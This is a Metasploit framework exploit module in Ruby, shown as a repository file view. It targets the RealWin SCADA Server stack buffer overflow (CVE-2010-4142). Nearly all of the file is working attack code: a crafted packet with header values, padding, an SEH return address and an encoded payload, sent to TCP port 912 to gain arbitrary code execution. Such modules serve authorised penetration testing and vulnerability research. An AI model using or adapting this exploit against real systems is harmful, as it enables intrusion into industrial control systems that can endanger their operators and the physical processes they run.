metasploit-framework/modules/exploits/windows/scada/realwin_scpc_initialize.rb

75 lines
2.0 KiB
Ruby

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'DATAC RealWin SCADA Server SCPC_INITIALIZE Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in DATAC Control
International RealWin SCADA Server 2.0 (Build 6.1.8.10).
By sending a specially crafted packet, an attacker may be able to execute arbitrary code.
},
'Author' => [ 'Luigi Auriemma', 'MC' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'OSVDB', '68812' ],
[ 'CVE', '2010-4142' ],
[ 'URL', 'http://aluigi.altervista.org/adv/realwin_1-adv.txt' ],
[ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICSA-10-313-01.pdf']
],
'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 550,
'BadChars' => "\x00\x20\x0a\x0d",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Universal', { 'Ret' => 0x4002da21 } ], # FlexMLang.DLL 8.1.45.19
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Oct 15 2010'))
register_options([Opt::RPORT(912)], self.class)
end
def exploit
connect
data = [0x6a541264].pack('V')
data << [0x00000002].pack('V')
data << [0x00001ff4].pack('V')
data << rand_text_alpha_upper(228)
data << generate_seh_payload(target.ret)
data << rand_text_alpha_upper(10024 - payload.encoded.length)
data << "\x00"
print_status("Trying target #{target.name}...")
sock.put(data)
handler
disconnect
end
end